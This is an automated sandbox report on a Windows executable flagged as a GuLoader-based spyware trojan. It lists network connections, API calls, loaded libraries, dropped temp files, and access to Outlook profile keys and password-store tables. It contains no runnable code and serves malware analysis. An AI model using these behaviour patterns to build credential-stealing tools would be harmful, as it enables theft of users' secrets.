Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49740 version: TLS 1.2

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_0040558F

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		1_2_004034A5
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_00404DCC	1_2_00404DCC
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_00406AF2	1_2_00406AF2
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_6FFB1B5F	1_2_6FFB1B5F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_3_3700F167	5_3_3700F167
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_00404DCC	5_2_00404DCC
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_000D4328	5_2_000D4328
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_000D66B8	5_2_000D66B8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_000D8DA0	5_2_000D8DA0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_000D5F90	5_2_000D5F90
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_000D2DD1	5_2_000D2DD1
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36947E9A	5_2_36947E9A
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694C638	5_2_3694C638
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36947628	5_2_36947628
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694CCA0	5_2_3694CCA0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_369403AF	5_2_369403AF
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694331A	5_2_3694331A
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36942130	5_2_36942130
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36946E91	5_2_36946E91
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36946EA0	5_2_36946EA0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36947EC6	5_2_36947EC6
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694DEE1	5_2_3694DEE1
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694E79E	5_2_3694E79E
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694CC8A	5_2_3694CC8A
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694B4EC	5_2_3694B4EC
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694BD88	5_2_3694BD88
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694DA89	5_2_3694DA89
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694EBF6	5_2_3694EBF6
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694E339	5_2_3694E339
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694F042	5_2_3694F042
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_36947848	5_2_36947848
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694B07F	5_2_3694B07F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694C1F2	5_2_3694C1F2
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694B944	5_2_3694B944
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376067C0	5_2_376067C0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37608650	5_2_37608650
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376096C8	5_2_376096C8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37609D10	5_2_37609D10
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760BDF0	5_2_3760BDF0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760A360	5_2_3760A360
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760BA97	5_2_3760BA97
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760A9B0	5_2_3760A9B0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37600040	5_2_37600040
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37603F60	5_2_37603F60
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37603F70	5_2_37603F70
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605F01	5_2_37605F01
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605F10	5_2_37605F10
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760AFF7	5_2_3760AFF7
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760AFF8	5_2_3760AFF8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37600FA8	5_2_37600FA8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376067B0	5_2_376067B0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605660	5_2_37605660
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37608640	5_2_37608640
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605650	5_2_37605650
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37602E10	5_2_37602E10
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376036C0	5_2_376036C0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376036B0	5_2_376036B0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376096B8	5_2_376096B8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37602560	5_2_37602560
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37602550	5_2_37602550
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37609D00	5_2_37609D00
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37604DA0	5_2_37604DA0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37604DB0	5_2_37604DB0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37601400	5_2_37601400
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37606C09	5_2_37606C09
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37606C18	5_2_37606C18
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376074C8	5_2_376074C8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37601CA0	5_2_37601CA0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37601CB0	5_2_37601CB0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376074B8	5_2_376074B8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37606368	5_2_37606368
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37607B4F	5_2_37607B4F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760A352	5_2_3760A352
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37606358	5_2_37606358
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37603B08	5_2_37603B08
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37603B18	5_2_37603B18
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376043C8	5_2_376043C8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376043B9	5_2_376043B9
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37603268	5_2_37603268
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605206	5_2_37605206
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605208	5_2_37605208
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605AA8	5_2_37605AA8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37605AB8	5_2_37605AB8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760F130	5_2_3760F130
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37602108	5_2_37602108
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3760A9A0	5_2_3760A9A0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376029A8	5_2_376029A8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_376029B8	5_2_376029B8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37607061	5_2_37607061
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37607070	5_2_37607070
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37601858	5_2_37601858
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37604820	5_2_37604820
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37604810	5_2_37604810
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37A3E790	5_2_37A3E790
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37A3D608	5_2_37A3D608
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_37A38328	5_2_37A38328

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: String function: 00402C41 appears 51 times

Source: v4nrZtP7K2.exe, 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs v4nrZtP7K2.exe
Source: v4nrZtP7K2.exe, 00000005.00000000.2032112145.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs v4nrZtP7K2.exe
Source: v4nrZtP7K2.exe, 00000005.00000002.2943570464.00000000346E7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs v4nrZtP7K2.exe
Source: v4nrZtP7K2.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs v4nrZtP7K2.exe

Source: v4nrZtP7K2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		1_2_004034A5
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404850

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_00402104 CoCreateInstance,

1_2_00402104

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

File created: C:\Users\user\AppData\Local\Temp\nswBD82.tmp

Jump to behavior

Source: v4nrZtP7K2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: v4nrZtP7K2.exe, 00000005.00000002.2946031488.000000003584D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: v4nrZtP7K2.exe	ReversingLabs: Detection: 63%
Source: v4nrZtP7K2.exe	Virustotal: Detection: 77%

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

File read: C:\Users\user\Desktop\v4nrZtP7K2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\v4nrZtP7K2.exe "C:\Users\user\Desktop\v4nrZtP7K2.exe"
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process created: C:\Users\user\Desktop\v4nrZtP7K2.exe "C:\Users\user\Desktop\v4nrZtP7K2.exe"
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process created: C:\Users\user\Desktop\v4nrZtP7K2.exe "C:\Users\user\Desktop\v4nrZtP7K2.exe"	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: v4nrZtP7K2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.2034874444.0000000003C88000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_6FFB1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_6FFB1B5F

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

File created: C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
